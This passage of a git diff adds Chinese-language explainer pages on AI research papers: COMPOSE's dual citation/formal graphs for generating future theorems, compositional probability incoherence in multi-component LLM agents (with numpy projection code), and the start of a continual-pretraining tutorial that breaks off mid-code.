+## 代码示例 1：用 Python 构造「科学图 + 形式图」的极简骨架
+
+下面不是官方实现，但对应论文 §3.1 的数据逻辑，帮助零基础读者把两张图「画」出来：
+
+```python
+from dataclasses import dataclass, field
+from typing import Literal
+
+NodeKind = Literal["abstract", "theorem_informal", "theorem_formal"]
+
+@dataclass
+class Node:
+    id: str
+    kind: NodeKind
+    text: str          # 摘要、informal 定理陈述、或 Lean 签名
+    embedding: list[float] = field(default_factory=list)
+
+@dataclass
+class Edge:
+    src: str
+    dst: str
+    kind: Literal["cites", "paper_has_theorem", "theorem_dep", "align"]
+
+@dataclass
+class DualGraphExample:
+    anchor_id: str
+    scientific: list[Node]
+    formal: list[Node]
+    edges_s: list[Edge]
+    edges_f: list[Edge]
+    align_pairs: list[tuple[str, str]]  # (informal_thm_id, mathlib_thm_id)
+    target_future_claim: str            # 监督：后来 cite 锚点的那篇论文的主主张
+
+def build_scientific_subgraph(anchor, refs_hop1, refs_hop2, tau_context=0.5):
+    """按引用上下文相关性选边，不是全量 bibliography。"""
+    nodes, edges = [], []
+    nodes.append(Node(anchor.id, "abstract", anchor.abstract))
+    for ref in select_by_citation_context(refs_hop1, max_papers=5):
+        nodes.append(Node(ref.id, "abstract", ref.abstract))
+        edges.append(Edge(ref.id, anchor.id, "cites"))
+        for thm in ref.extracted_theorems:
+            tid = f"{ref.id}::{thm.label}"
+            nodes.append(Node(tid, "theorem_informal", thm.statement))
+            edges.append(Edge(tid, ref.id, "paper_has_theorem"))
+    # hop-2 同理，每节点最多 3 篇…
+    return nodes, edges
+
+def align_to_mathlib(informal_thm, frenzymath_index, sim_threshold=0.72):
+    """informal-to-informal：E5 检索 FrenzyMath 描述，再映射到 Mathlib。"""
+    candidates = frenzymath_index.search(informal_thm.statement, top_k=5)
+    best = max(candidates, key=lambda c: c.cosine)
+    if best.cosine < sim_threshold:
+        return None  # 该定理无形式分支
+    return best.mathlib_theorem_id
+
+def expand_formal_deps(root_mathlib_id, leandojo, hops=2):
+    """从对齐根定理沿 Mathlib 依赖边扩展。"""
+    nodes, edges = [], []
+    frontier = [(root_mathlib_id, 0)]
+    seen = set()
+    while frontier:
+        tid, depth = frontier.pop()
+        if tid in seen or depth > hops:
+            continue
+        seen.add(tid)
+        meta = leandojo.get_theorem(tid)
+        nodes.append(Node(tid, "theorem_formal", meta.signature))
+        for dep in meta.dependencies:
+            edges.append(Edge(dep, tid, "theorem_dep"))
+            frontier.append((dep, depth + 1))
+    return nodes, edges
+
+def select_by_citation_context(refs, max_papers):
+    # 论文附录 A.1：引用出现在证明/主结果中得分更高
+    return sorted(refs, key=lambda r: r.citation_importance, reverse=True)[:max_papers]
+```
+
+要点：**科学图**负责「往哪走」，**形式图**负责「能接什么」；`align_pairs` 是两座桥。
+
+---
+
+## 代码示例 2：双图融合 + 条件化解码（PyTorch 伪代码）
+
+对应 §3.2 的 encoder–fusion–decoder 数据流：
+
+```python
+import torch
+import torch.nn as nn
+import torch.nn.functional as F
+
+class SimpleGNN(nn.Module):
+    def __init__(self, in_dim, hidden=1024, layers=2):
+        super().__init__()
+        self.layers = nn.ModuleList([
+            nn.Linear(hidden if i else in_dim, hidden) for i in range(layers)
+        ])
+        self.gates = nn.ModuleList([nn.Linear(hidden * 2, 1) for _ in range(layers)])
+
+    def forward(self, h, edge_index_in, edge_index_out):
+        for lin, gate in zip(self.layers, self.gates):
+            m_in = mean_aggregate(h, edge_index_in)
+            m_out = mean_aggregate(h, edge_index_out)
+            msg = F.relu(lin(m_in + m_out))
+            g = torch.sigmoid(gate(torch.cat([h, msg], dim=-1)))
+            h = F.layer_norm(g * msg + (1 - g) * h, h.shape[-1:])
+        return h  # 再 concat 冻结文本嵌入 → 1152/4096 维上下文向量
+
+class ComposeDualEncoder(nn.Module):
+    def __init__(self, d_s=1152, d_f=4096, d_fused=4224, n_heads=8):
+        super().__init__()
+        self.gnn_s = SimpleGNN(d_s)
+        self.gnn_f = SimpleGNN(d_f)
+        self.bridge_s = nn.Sequential(nn.Linear(d_s, 2048), nn.GELU(), nn.Linear(2048, d_fused))
+        self.bridge_f = nn.Sequential(nn.Linear(d_f, 2048), nn.GELU(), nn.Linear(2048, d_fused))
+        self.type_embed = nn.Embedding(2, d_fused)  # 0=scientific, 1=formal
+        self.cross_attn = nn.MultiheadAttention(d_fused, n_heads, batch_first=True)
+
+    def fuse(self, h_s, h_f):
+        z_s = self.bridge_s(h_s) + self.type_embed(torch.zeros(len(h_s), dtype=torch.long))
+        z_f = self.bridge_f(h_f) + self.type_embed(torch.ones(len(h_f), dtype=torch.long))
+        # 双向：科学节点 attend 形式节点，再反过来
+        z_s2, _ = self.cross_attn(z_s.unsqueeze(0), z_f.unsqueeze(0), z_f.unsqueeze(0))
+        z_f2, _ = self.cross_attn(z_f.unsqueeze(0), z_s.unsqueeze(0), z_s.unsqueeze(0))
+        z_s = F.layer_norm(z_s + z_s2.squeeze(0), z_s.shape[-1:])
+        z_f = F.layer_norm(z_f + z_f2.squeeze(0), z_f.shape[-1:])
+        return torch.cat([z_s, z_f], dim=0)  # decoder cross-attn 的 K/V
+
+# Stage 1：对比损失（简化版 L_align）
+def alignment_loss(h_graph, e_pos, e_negs, temperature=0.07):
+    sim_pos = F.cosine_similarity(h_graph, e_pos) / temperature
+    sim_negs = torch.stack([F.cosine_similarity(h_graph, n) for n in e_negs]) / temperature
+    logits = torch.cat([sim_pos.unsqueeze(0), sim_negs])
+    return F.cross_entropy(logits.unsqueeze(0), torch.zeros(1, dtype=torch.long))
+
+# Stage 2：decoder 在指定层把 hidden states 作为 Q，融合图节点作为 K/V
+# DeepSeek-Math-7B + LoRA；cross-attn 插入层索引 [3,7,11,15,19,23,27,31]
+```
+
+训练时若 `h_f` 为空（无 Mathlib 匹配），`fuse` 只返回 `z_s`，与论文「仅 citation encoder」分支一致。
+
+---
+
+## 代码示例 3：官方 CLI 推理流程（概念）
+
+仓库 [david-busbib/COMPOSE](https://github.com/david-busbib/COMPOSE) 提供端到端 demo，逻辑与论文 Figure 1 一致：
+
+```bash
+# 给定 arXiv ID，拉 Semantic Scholar 引用 → 建 G_s → FrenzyMath 对齐 → 建 G_f → 生成 n 条未来主张
+python run_compose.py \
+  --arxiv 2309.03806 \
+  --n 3 \
+  --checkpoint checkpoints/compose-ds-math-7b
+```
+
+内部流水线（摘自项目 README）：
+
+1. 拉取锚点论文及参考文献（Semantic Scholar，无需 API key）；
+2. E5-large-v2 嵌入摘要，构建 citation 子图；
+3. 抽取 informal 定理，嵌入检索 Mathlib4 / FrenzyMath，构建形式子图；
+4. 双 GNN + 双向 cross-attention；
+5. DeepSeek-Math-7B 解码 `--n` 条 plain-text 未来主张。
+
+---
+
+## 与相关工作的关系
+
+| 工作 | 与 COMPOSE 的差异 |
+|------|-------------------|
+| **GIANTS** | 用引用上下文生成未来**科学摘要**，不生成定理式主张，不用 Mathlib 结构 |
+| **GoAI / FutureGen / ResearchAgent** | 通用 research idea，缺形式 grounded |
+| **GoR**（Citation Evolution Graphs） | 也用引用 DAG 监督 LLM，但面向 ML/NLP venue，无 formal graph |
+| **Lemmanaid / conjecture generation** | 在形式库内猜新引理，缺 arXiv 科学叙事 |
+| **FrenzyMath / Autoformalization** | COMPOSE **消费**对齐结果，目标不是翻译而是**预测未来** |
+
+COMPOSE 的定位：**informal 研究 front-end**（读论文、看趋势）与 **formal library back-end**（Lean 依赖）之间的桥，用于** grounded 的未来定理式生成**。
+
+---
+
+## 实验要点与消融
+
+- **Paper-graph-only**（去掉 $G_f$）：H@10 与 Struct. 均下降，说明形式结构不是装饰；
+- **Bag-of-Papers**（打平图结构）：弱于完整 GNN，说明**边类型与定理节点**重要；
+- **Text-only LoRA**（无图）：Fut-R 虚高（2.241）但 BERTScore 更低——更像「改写输入」而非预测未来；
+- 嵌入空间上，**原始 cosine 检索**区分度差（Tgt-Neg margin 小），故 benchmark 额外微调 DeepSeek-Math 嵌入做检索。
+
+---
+
+## 局限与开放问题
+
+1. **对齐覆盖率**：大量 informal 定理达不到 FrenzyMath 阈值，只能退化为单图；autoformalization 进步可能扩大 $G_f$。
+2. **时间切分**：训练 2000–2023，测试 2024–2025；领域漂移、Mathlib 版本变化会影响对齐质量。
+3. **「预测」≠「证明」**：生成的是 plausible **claim**，不保证真或可证；更像 research hypothesis 生成器。
+4. **评估依赖检索代理**：H@10 衡量的是「能否找对后来 cite 锚点的那篇」，不是形式验证。
+5. **计算成本**：双 GNN + 7B decoder cross-attn，比纯 prompt baseline 重得多。
+
+---
+
+## 谁应该读这篇论文
+
+- 做 **AI for Math / 自动猜想 / 研究 idea 生成** 的人；
+- 把 **Lean/Mathlib 依赖** 当结构信号，而不只做 proof search 的人；
+- 关心 **citation graph + KG** 混合 conditioning 的 NLP 研究者；
+- 想复现 **108K 双图数据 + 47K 未来检索 benchmark** 的工程师（代码与 project page 已公开）。
+
+---
+
+## 一句话带走
+
+> COMPOSE 把「参考文献告诉你方向」和「Mathlib 告诉你能接什么」编成两张图，用 GNN 分别编码、cross-attention 融合，再条件化 DeepSeek-Math-7B 生成未来定理式主张——在 47K 真实未来论文检索上，比只看 citation 或纯文本微调更 grounded、也更像数学。
+
+---
+
+## 参考
+
+- 论文：[COMPOSE: Composing Future Theorems from Citations and Formal Structure](https://arxiv.org/abs/2605.30333)
+- Project page：https://david-busbib.github.io/COMPOSE-page/
+- 代码：https://github.com/david-busbib/COMPOSE
+- 对齐语料：FrenzyMath（Gao et al., 2024）
+- 形式依赖抽取：LeanDojo（Yang et al., 2023）
+- 基线：GIANTS（He-Yueya et al., 2026）、Chain-of-Ideas 等
diff --git a/src/content/docs/papers/compositional-incoherence.md b/src/content/docs/papers/compositional-incoherence.md
new file mode 100644
index 000000000..060bf0970
--- /dev/null
+++ b/src/content/docs/papers/compositional-incoherence.md
@@ -0,0 +1,319 @@
+---
+title: Locally Coherent, Globally Incoherent — 多组件 LLM Agent 的组合不一致性
+来源: https://arxiv.org/abs/2605.30335
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：每个专家都说得对，拼起来却不可能
+
+想象你在组织一场关于「2026 年美国最大 AI 公司 IPO 会落在哪个赛道」的预测：
+
+- **基础设施专家**只盯数据中心/芯片链，给出概率 **0.39**
+- **模型实验室专家**只盯大模型公司，给出 **0.73**
+- **应用层专家**只盯垂直 SaaS，给出 **0.67**
+- **其他赛道专家**负责兜底，给出 **0.71**
+
+每个人在自己的「局部问题」里都很自洽：概率在 0–1 之间，校准也说得过去。但协调员把四个数字**直接拼成联合报价**时，总和是 **2.50**——没有任何真实概率测度能让四个互斥结果的质量之和超过 1。这不是某个专家「算错了」，而是**结构上**局部合理、全局不可能。
+
+Kotawala（Princeton，arXiv:2605.30335）把这类现象正式命名为 **locally coherent, globally incoherent（局部一致、全局不一致，LCGI）**。论文针对的是多组件 LLM Agent：规划器把检索、算术、概率评估路由给不同 specialist，每个组件只看见联合问题的一部分；即使每个组件都经过校准、自洽解码，**聚合后的信念仍可能违反基本概率公理**，从而暴露 Dutch-book（荷兰赌）风险。
+
+类比总结：
+
+| 日常 | 多组件 Agent | 论文术语 |
+|------|-------------|---------|
+| 四位专家各报局部概率 | 各 sub-agent 输出局部边际 | component marginal $\hat{p}^{(a)}$ |
+| 协调员原样拼接 | owner-selected aggregation | 聚合器 $\mathcal{A}$ 只「选坐标」 |
+| 四段概率加起来 > 1 | 违反 partition 约束 | 落在 coherent polytope $\mathcal{M}^{\star}$ 外 |
+| 看不出谁「错了」 | 单组件监控检测不到 | $\varepsilon^{\star}>0$ 作为系统级证书 |
+| 按比例归一化修一下 | 投影到合法概率区域 | hierarchical Boyle–Dykstra / $\Pi^{\star}$ |
+
+---
+
+## 这篇论文在解决什么问题
+
+### 1. 现有手段为什么不够
+
+对**单个** LLM 输出，业界已有不少「一致性」工具：
+
+- **校准（calibration）**：让 $P(\text{事件})$ 与长期频率对齐
+- **自洽采样（self-consistency）**：多次采样再投票
+- **保形预测（conformal prediction）**：分布无关的覆盖保证
+
+这些都在**组件内部**运作。它们**看不见**跨组件逻辑约束，例如：
+
+- **否定**：$P(A)+P(\neg A)=1$（两个 specialist 各报一半）
+- **划分（partition）**：互斥结果概率之和为 1（多个 specialist 各管一块）
+- **合取/析取**：Fréchet 边界约束 $P(A\land B)\leq\min(P(A),P(B))$ 等
+
+论文的核心论断：**per-component coherence 一般不能修复 composed system**；失败是**结构性的**，不是 prompt 写不好就能根治。
+
+### 2. 论文贡献（操作化视角）
+
+| 贡献 | 含义 |
+|------|------|
+| **组合残差** $\varepsilon^{\star}$ | 局部修复后再聚合的报价，到联合 coherent polytope 的 $L_2$ 距离；**运行时**可算 |
+| **乘积结构二分法**（Thm 3.3） | 局部一致 ⇒ 全局一致，当且仅当联合多面体可分解为局部笛卡尔积 |
+| **Rayleigh 商预测**（Cor 3.9） | 从 specialist 面板协方差预测 $\varepsilon^{\star}$ 量级 |
+| **层次 Boyle–Dykstra 投影** | 确定性修复，保留 specialist 路由 |
+| **e-process** | 序列部署中的 anytime-valid 一致性监测 |
+| **可分解 benchmark** | 1,876 个 ensemble cliques，四类逻辑关系 |
+
+### 3. 实证快照（论文 §5）
+
+- 四类 contemporary LLM 组成的中端 panel 上，**33%–94%** 的 clique 出现 $\varepsilon^{\star}>0$
+- 关系类难度排序（约束越紧，残差越大）：**partition > negation > disjunction > conjunction**
+- Cor 3.9 的 magnitude 预测在四类中**三类误差 < 7%**
+- 朴素组合下 exposure 界 $\sqrt{m^{\star}}\varepsilon^{\star}$ 平均约 **0.137**；层次投影可压到 QP 数值地板
+- 三种直觉缓解（检索、partition-aware prompting、aggregator-LLM）**均失败或回退**
+
+---
+
+## 核心概念
+
+### 1. Clique 与 coherent polytope
+
+一个 **clique** $C=(Q_1,\ldots,Q_m,R)$ 包含 $m$ 个 Bernoulli 问题及逻辑关系 $R$。de Finetti 定理保证：所有与 $R$ 一致的边际概率向量构成闭凸多面体
+
+$$
+\mathcal{M}_C = \left\{ r \in [0,1]^m : \exists\,\mu \in \Delta(\{0,1\}^m)\ \text{与 } R \text{ 一致} \right\}.
+$$
+
+**投影** $\Pi_C(\hat{p})$ 是把报价 $\hat{p}$ 投到 $\mathcal{M}_C$ 上最近的点；**残差** $\varepsilon_C(\hat{p})=\|\hat{p}-\Pi_C(\hat{p})\|_2$ 衡量「离合法概率有多远」。
+
+### 2. 多组件 Agent 与 owner-selected aggregation
+
+- $k$ 个子模型，各自输出 $\hat{p}^{(a)} \in [0,1]^{m_a}$
+- 组件级 **JCD（Joint-Coherent Decoding）**：$\Pi_a(\hat{p}^{(a)})\in\mathcal{M}_a$
+- 联合问题集 $\mathcal{Q}^{\star}=\bigcup_a \mathcal{Q}_a$，大小 $m^{\star}$
+- **耦合集** $\mathcal{C}$：跨组件同一问题标识、逻辑关系、跨组件 partition 等
+- **Owner-selected aggregation**：每个联合坐标 $j$ 只由一个组件「拥有」；聚合器**只选取**，不平均、不重采样
+
+> 若改用坐标平均 $\mathcal{A}^{\mathrm{avg}}$，凸性保证输出已在 $\mathcal{M}^{\star}$ 内，LCGI **结构性消失**——但代价是每个坐标要 $k$ 次 elicitation，与 specialist 路由的设计目标相悖。
+
+### 3. 组合残差 $\varepsilon^{\star}$（Definition 3.1）
+
+$$
+\varepsilon^{\star}(\hat{p}) = \left\| \mathcal{A}(\Pi_1\hat{p}^{(1)},\ldots,\Pi_k\hat{p}^{(k)}) - \Pi^{\star}\!\left(\mathcal{A}(\Pi_1\hat{p}^{(1)},\ldots,\Pi_k\hat{p}^{(k)})\right) \right\|_2
+$$
+
+读法：先把各组件**局部修到自洽**，再按 owner 规则**拼起来**，看这份联合报价离**全局** coherent 集合还有多远。
+
+- $\varepsilon^{\star}=0$：局部修复已满足跨组件约束
+- $\varepsilon^{\star}>0$：**证书级**证明系统级不一致；单看任一组件无法发现
+
+### 4. 乘积结构二分法（Theorem 3.3）
+
+记 $\mathcal{M}^{\boxtimes}=\bigcap_a \mathcal{M}_a^{\uparrow}$（只有局部约束、无跨组件耦合时的联合可行集）。
+
+**定理**：在 owner-selected aggregation 下，
+
+$$
+\text{局部一致总能保证全局一致} \iff \mathcal{M}^{\star}=\mathcal{M}^{\boxtimes}.
+$$
+
+- **相等**：$L_2$ 投影可 blockwise 分解，$\varepsilon^{\star}\equiv 0$（局部-then-global 与 global 交换）
+- **真子集**：存在局部皆 coherent 的组成报价，使 $\varepsilon^{\star}>0$
+
+这就是论文所称的 **non-commutation theorem**：「先局部修复再聚合」与「先聚合再全局修复」**何时可交换**。
+
+### 5. 暴露界与 Brier 改进
+
+- **FTAP 暴露**（Cor 3.5）：$\mathrm{Exposure}^{\star}\leq\sqrt{m^{\star}}\,\varepsilon^{\star}$
+- **Pythagorean Brier**（Cor 3.6）：全局投影确定性降低 Brier，slack 恰为 $(\varepsilon^{\star})^2$
+- **Rayleigh 商**（Cor 3.9）：在随机 owner 分配下，$\mathbb{E}[(\varepsilon^{\star})^2]$ 可由 specialist 协方差与约束法向量闭式估计
+
+### 6. 层次 Boyle–Dykstra 修复（Theorem 3.10）
+
+对局部多面体 $\{\mathcal{M}_a^{\uparrow}\}$ 与耦合集 $\mathcal{C}$ 做 **循环 $L_2$ 投影**，收敛到 $\mathcal{M}^{\star}$ 上的最近点。partition 等 equality 约束常可一步闭式（simplex 投影）；conjunction/disjunction 的 Fréchet 多面体才需要完整循环。
+
+### 7. 运行时三种模式
+
+| 模式 | 行为 |
+|------|------|
+| **Monitor** | 记录 $\varepsilon^{\star}$，超阈值告警 |
+| **Repair** | 下游使用前替换为 $\Pi^{\star}(\cdot)$ |
+| **Abstain** | $\varepsilon^{\star}>\tau$ 时拒答或升级人工 |
+
+长期部署还可对残差流 $(\varepsilon^{\star}_t)$ 做 **e-process** 序列检验（§3.7）。
+
+---
+
+## 代码示例 1：计算 partition 上的组合残差
+
+四个 specialist 各报一块互斥赛道的概率，owner-selected 拼接后检查是否违反 $\sum_i p_i = 1$。
+
+```python
+import numpy as np
+
+def project_simplex(v: np.ndarray) -> np.ndarray:
+    """把向量投影到概率单纯形 {x >= 0, sum x = 1}（Euclidean）。"""
+    v = np.asarray(v, dtype=float)
+    if v.sum() <= 1 and np.all(v >= 0):
+        return v
+    # 经典排序法：O(m log m)
+    u = np.sort(v)[::-1]
+    cssv = np.cumsum(u)
+    rho = np.nonzero(u * np.arange(1, len(v) + 1) > (cssv - 1))[0][-1]
+    theta = (cssv[rho] - 1) / (rho + 1)
+    return np.maximum(v - theta, 0)
+
+def compositional_residual_partition(quote: np.ndarray) -> float:
+    """
+    partition clique：m 个互斥结果，约束 sum(p)=1, p>=0。
+    ε* = ||quote - Π*(quote)||_2
+    """
+    quote = np.clip(np.asarray(quote, dtype=float), 0.0, 1.0)
+    repaired = project_simplex(quote)
+    return float(np.linalg.norm(quote - repaired))
+
+# 论文 Figure 1 风格：四块 partition，局部各自合理，拼接总和 2.50
+sector_probs = np.array([0.39, 0.73, 0.67, 0.71])
+eps_star = compositional_residual_partition(sector_probs)
+
+print(f"sum(quote) = {sector_probs.sum():.2f}")   # 2.50
+print(f"ε* (partition) ≈ {eps_star:.3f}")         # 论文报告 ~0.749（含 JCD 等细节时略异）
+print(f"repaired   = {project_simplex(sector_probs)}")
+print(f"sum(repaired) = {project_simplex(sector_probs).sum():.6f}")
+```
+
+要点：**每个分量单独看都在 [0,1]**，但联合约束是「质量和为 1」——这就是 $\mathcal{M}^{\star}\subsetneq\mathcal{M}^{\boxtimes}$ 的典型情形。
+
+---
+
+## 代码示例 2：negation 约束与 exposure 上界
+
+两个组件分别回答 $P(A)$ 与 $P(\neg A)$，耦合约束 $p_A + p_{\neg A} = 1$。
+
+```python
+import numpy as np
+
+def project_negation_pair(p_a: float, p_not_a: float) -> tuple[float, float]:
+    """投影到 {p_a + p_not_a = 1, 0<=p<=1}。"""
+    v = np.array([p_a, p_not_a], dtype=float)
+    v = np.clip(v, 0.0, 1.0)
+    s = v.sum()
+    if abs(s - 1.0) < 1e-12:
+        return float(v[0]), float(v[1])
+    # 等式约束下的 L2 投影：沿 (1,1) 方向平移
+    shift = (s - 1.0) / 2.0
+    v = v - shift
+    v = np.clip(v, 0.0, 1.0)
+    # 若 clipping 破坏等式，再投影一次（小规模闭式足够）
+    if abs(v.sum() - 1.0) > 1e-9:
+        v = project_simplex(v)
+    return float(v[0]), float(v[1])
+
+def exposure_bound(eps_star: float, m_star: int) -> float:
+    """Cor 3.5: Exposure* <= sqrt(m*) * ε*（论文实验用 LMSR 统计）。"""
+    return float(np.sqrt(m_star) * eps_star)
+
+# 研究组件报 P(Republican)=0.6，预测组件报 P(Democrat)=0.6 —— 论文引言例子
+p_rep, p_dem = 0.6, 0.6
+quote = np.array([p_rep, p_dem])
+repaired = np.array(project_negation_pair(p_rep, p_dem))
+eps = float(np.linalg.norm(quote - repaired))
+
+print(f"naive mass = {quote.sum():.2f}")          # 1.20 —— 不可能测度
+print(f"ε* (negation) ≈ {eps:.3f}")
+print(f"repaired = {repaired}, sum = {repaired.sum():.3f}")
+print(f"exposure bound sqrt(m*)ε* ≈ {exposure_bound(eps, m_star=2):.3f}")
+```
+
+若 $p_A+p_{\neg A}=1.2$，则存在**无风险套利组合**（Dutch book）：对手可以在你的报价上同时买/卖合约锁定正收益。论文强调：**各组件局部 Dutch-book exposure 可为 0**，正暴露**完全来自跨组件 incoherence**。
+
+---
+
+## 代码示例 3：模拟 owner-selection 与 Rayleigh 商量级（可选直觉）
+
+```python
+import numpy as np
+
+def expected_eps_sq_rayleigh(panel: np.ndarray, a: np.ndarray, kappa: float = 1.0) -> float:
+    """
+    Cor 3.9 简化版：E[(ε*)^2] ≈ κ * (a^T D a / ||a||^2)
+    panel: shape (k, m) — k 个 specialist 在 m 维联合坐标上的 JCD 后报价
+    a: 绑定约束的法向量（partition 时 a=1 向量；negation 时 a=(1,1)）
+    """
+    bar = panel.mean(axis=0)
+    D = np.diag(((panel - bar) ** 2).mean(axis=0))  # 独立 owner 分配下的有效协方差
+    num = float(a @ D @ a)
+    den = float(a @ a)
+    return kappa * num / den
+
+# 4 个 LLM 对 4 维 partition 各给一个「偏乐观」报价（示意）
+rng = np.random.default_rng(0)
+panel = rng.uniform(0.45, 0.75, size=(4, 4))
+a_partition = np.ones(4)
+pred = np.sqrt(expected_eps_sq_rayleigh(panel, a_partition, kappa=1.0))
+print(f"predicted E[ε*] (order of magnitude) ≈ {pred:.3f}")
+```
+
+论文在 1,876 个 cliques 上验证：该预测与观测 residual 在 negation / partition / disjunction 上匹配良好；conjunction 因 $\bar{\Pi}$ 离边界较远，经验 $\kappa$ 略低。
+
+---
+
+## 四类逻辑关系与难度排序
+
+| 关系类 | 典型约束 | 耦合强度 | 经验 residual 倾向 |
+|--------|---------|---------|-------------------|
+| **Conjunction** | Fréchet 上界 | 较弱 | 最小 |
+| **Disjunction** | Fréchet 下界 | 中等 | 较小 |
+| **Negation** | $p+q=1$ | 较强 | 较大 |
+| **Partition** | $\sum p_i=1$ | 最强 | **最大** |
+
+partition 的修复在「未 clip」情形下甚至就是给每个坐标减去 $(\sum p_i - 1)/m^{\star}$——算法简单，但**原始错误最大**，因为约束直接作用于质量和。
+
+---
+
+## 与 Agent 框架的关系
+
+LangGraph、AutoGen、CrewAI 等框架常见模式：
+
+1. Planner 路由子任务
+2. 各 tool / sub-agent 返回局部结论（含概率、分类、数值）
+3. Orchestrator **拼接**进下游 prompt 或决策
+
+若步骤 3 是 owner-selected（每个字段来自单一 specialist），且存在跨字段逻辑约束，则 LCGI **不是 edge case**。论文证明：仅监控各模块输出无法检测此类失败——必须在**组合层**计算 $\varepsilon^{\star}$ 或做 $\Pi^{\star}$ 修复。
+
+---
+
+## 局限与开放问题（论文 §6 摘要）
+
+- 耦合集 $\mathcal{C}$ 需**显式声明**；从 agent transcript **隐式恢复** $\mathcal{C}$ 仍开放
+- 层次投影保证几何/Brier 改进，但若真实标签 $p^{\star}\notin\mathcal{M}^{\star}$（标注与逻辑结构不一致），预测增益可能反转（Cor 3.7）
+- Abstain 阈值 $\tau$ 与预算化 exposure 的校准未完全解决
+
+---
+
+## 一句话带走
+
+> **多组件 LLM Agent 的失败模式之一：每个部件Locally 看起来是合法概率，拼起来却违反联合逻辑；$\varepsilon^{\star}$ 是可运行时计算的「系统级不一致证书」，Boyle–Dykstra 投影给出确定性修复——这不是 prompt 工程能替代的结构问题。**
+
+---
+
+## 延伸阅读
+
+- 论文 HTML：[arXiv:2605.30335](https://arxiv.org/html/2605.30335v1)
+- 作者代码仓库：[akotawala10/composition-incoherence-icml](https://github.com/akotawala10/composition-incoherence-icml)
+- 相关 benchmark 数据：Paleka et al. (2025) ensemble cliques；Polymarket partition 场景
+- 凸投影理论：Bauschke & Combettes (2017)；Boyle–Dykstra (1986)
+- 一致性哲学基础：de Finetti (1937) Dutch book / FTAP
+
+---
+
+## BibTeX
+
+```bibtex
+@misc{kotawala2026lcgi,
+  title   = {Locally Coherent, Globally Incoherent: Bounding Compositional Incoherence in Multi-Component LLM Agents},
+  author  = {Kotawala, Anany},
+  year    = {2026},
+  eprint  = {2605.30335},
+  archivePrefix = {arXiv},
+  primaryClass  = {cs.LG},
+  url     = {https://arxiv.org/abs/2605.30335}
+}
+```
diff --git a/src/content/docs/papers/continual-pretrain-survey-2026.md b/src/content/docs/papers/continual-pretrain-survey-2026.md
new file mode 100644
index 000000000..457756e8a
--- /dev/null
+++ b/src/content/docs/papers/continual-pretrain-survey-2026.md
@@ -0,0 +1,348 @@
+---
+title: Continual Pretraining — 让大模型"活到老，学到老"
+来源: https://arxiv.org/abs/2402.01364
+日期: 2026-06-13
+分类: 机器学习
+子分类: 模型与训练
+难度: 入门
+provenance: pipeline-v3
+---
+
+> **说明**：用户提供的 arXiv ID 2605.30765 实际对应一篇量子物理论文，与"Continual Pretraining"无关。本文基于该主题最相关的综述论文 arXiv:2402.01364 *Continual Learning for Large Language Models: A Survey*（Wu et al., 2024）以及多篇核心研究撰写，覆盖 Continual Pretraining 的完整知识体系。
+
+## 是什么
+
+**Continual Pretraining（持续预训练，简称 CPT）** 是在一个已经训练好的大语言模型（LLM）基础上，**继续喂新数据做预训练**，让模型"边活边学"，而不是每次学新知识都从零训练或者只靠外挂检索。
+
+日常类比：
+
+- **传统预训练** = 一个学生读完了大学本科（4 年），毕业了。之后再想知道新东西，只能课外自学（检索增强 / RAG），或者重新考研（全量重新训练）。
+- **Continual Pretraining** = 这个学生边工作边读在职研究生，继续上课、做研究，**原来的知识没丢，还学了新的**。
+
+一句话：CPT 就是用**新的语料**对一个**已有的预训练模型**再做几轮自监督训练，让它掌握新事实、新领域或新语言。
+
+## 为什么重要
+
+不理解 CPT，下面这些事都没法解释：
+
+- 为什么 GPT-4 的"知识截止日期"是 2023 年——因为它的预训练数据停在那儿，之后发生的事它不知道
+- 为什么每个行业都想把自己的"医疗版 / 法律版 / 金融版 LLaMA"做出来——通用模型不够专精，CPT 是最低成本的领域适配方式
+- 为什么 RAG 不能完全替代 CPT：RAG 只能补事实，CPT 能补领域语言风格、术语体系，甚至推理模式
+- 为什么模型越大越适合 CPT：大模型有更强的"记忆弹性"，学新东西时不容易把旧的忘光
+
+## 核心概念
+
+### 1. 三阶段学习框架
+
+LLM 的完整训练分三阶段，CPT 发生在第一阶段：
+
+```
+初始化权重（随机）
+  |
+  v
+┌─────────────────────┐
+│ ① 初始预训练 (PT)   │ ← 从海量无标注文本学语言
+│   (基础大模型诞生)    │
+└─────────────────────┘
+  |
+  v
+┌─────────────────────┐
+│ ② 持续预训练 (CPT)  │ ← 用新数据继续学（本文主题）
+│   "活到老学到老"     │
+└─────────────────────┘
+  |
+  v
+┌─────────────────────┐
+│ ③ 指令微调 (SFT)    │ ← 学怎么听话办事
+│   Alignment / RLHF  │ ← 学价值观对齐
+└─────────────────────┘
+```
+
+CPT 的核心问题：**模型学新东西的时候，怎么不把旧的东西忘光？** 这个问题叫"灾难性遗忘"（Catastrophic Forgetting）。
+
+### 2. 灾难性遗忘
+
+神经网络在学新任务时，参数会剧烈调整，导致旧知识的表示被"覆盖"。
+
+类比：你英文很好，后来去学法语。学得越用力，英文反而越生疏——这就是遗忘。
+
+### 3. 三种 CPT 方向
+
+| 方向 | 目标 | 例子 |
+|------|------|------|
+| 更新事实 | 跟上时事 / 新知识 | 用最新维基百科更新模型 |
+| 更新领域 | 让通用模型变专家 | 让 LLaMA 变成医疗 LLaMA |
+| 扩展语言 | 增加新语言支持 | 让英语模型学会中文 |
+
+## 代码示例
+
+### 示例 1：最基本的 CPT 流程（PyTorch + Hugging Face）
+
+```python
+from transformers import AutoModelForCausalLM, AutoTokenizer, TrainingArguments, Trainer
+from datasets import load_dataset
+
+# 1. 加载已有的基础模型（例如 LLaMA-2-7B）
+model_name = "meta-llama/Llama-2-7b-hf"
+model = AutoModelForCausalLM.from_pretrained(model_name)
+tokenizer = AutoTokenizer.from_pretrained(model_name)
+
+# 2. 加载新语料——这里用最新的维基百科数据做例子
+dataset = load_dataset("wikipedia", "20231201.en", split="train")
+
+# 3. 对文本做 tokenize，切分成固定长度的句子块
+MAX_LENGTH = 512
+
+def tokenize(example):
+    return tokenizer(
+        example["text"],
+        truncation=True,
+        max_length=MAX_LENGTH,
+        return_overflowing_tokens=True,
+        stride=128,  # 重叠 128 个 token，避免切分处信息丢失
+    )
+
+tokenized_dataset = dataset.map(tokenize, batched=True)
+tokenized_dataset = tokenized_dataset.filter(lambda x: x["input_ids"] is not None)
+
+# 4. 定义训练参数
+training_args = TrainingArguments(
+    output_dir="./continual-pretrained-model",
+    learning_rate=1e-5,          # CPT 的 lr 通常比从头训练小很多
